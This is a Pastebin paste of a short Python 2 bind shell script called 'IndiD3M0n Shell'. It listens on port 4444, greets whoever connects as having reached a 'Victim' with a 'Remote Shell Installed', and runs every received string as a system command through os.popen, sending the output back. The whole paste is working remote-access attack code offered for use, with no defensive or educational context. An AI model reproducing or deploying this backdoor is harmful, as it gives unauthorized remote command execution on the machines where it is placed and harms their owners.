Advertisement
Guest User

Python Bind Shell [ Stable And Fast ]

a guest
Jul 27th, 2015
4,448
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.95 KB | None | 0 0
  1. """
  2. IndiD3M0n Shell V.05
  3. Written By : IndiD3M0n
  4. Email : kevinmetnik606@gmail.com
  5. [!] use netcat to connect ^.^
  6. """
  7. import subprocess
  8. import socket
  9. import sys
  10. import os
  11. host = "127.0.0.1"; #! address to bind on.
  12. port = int(4444);
  13. while True:
  14.     try:
  15.         s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  16.         s.bind((host,port));
  17.         s.listen(4);
  18.         while True:
  19.             c,addr=s.accept();
  20.             c.send("[*] Connected to Victim [ %s : %s ] Successfully\n"%(addr[0],port));
  21.             c.send('[!] Remote Shell Installed Successfully.\n\n');
  22.             for tym in range(0,50):
  23.                 data=c.recv(1024);
  24.                 for line in os.popen(data):
  25.                     c.send(line);
  26.     except KeyboardInterrupt:
  27.         c.send("\n\t[ctrl+c] server forcely closed by Victim.\n");
  28.         s.close();
  29.         sys.exit(1);
  30.     except socket.error:
  31.         print "\n\t[error] Address { %s : %s } already in use."%(host,port);
  32.         print "\t[error] just wait a bit until we correct it for you.";
  33.         s.close();
  34.         print "\n\ntrying again ....";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement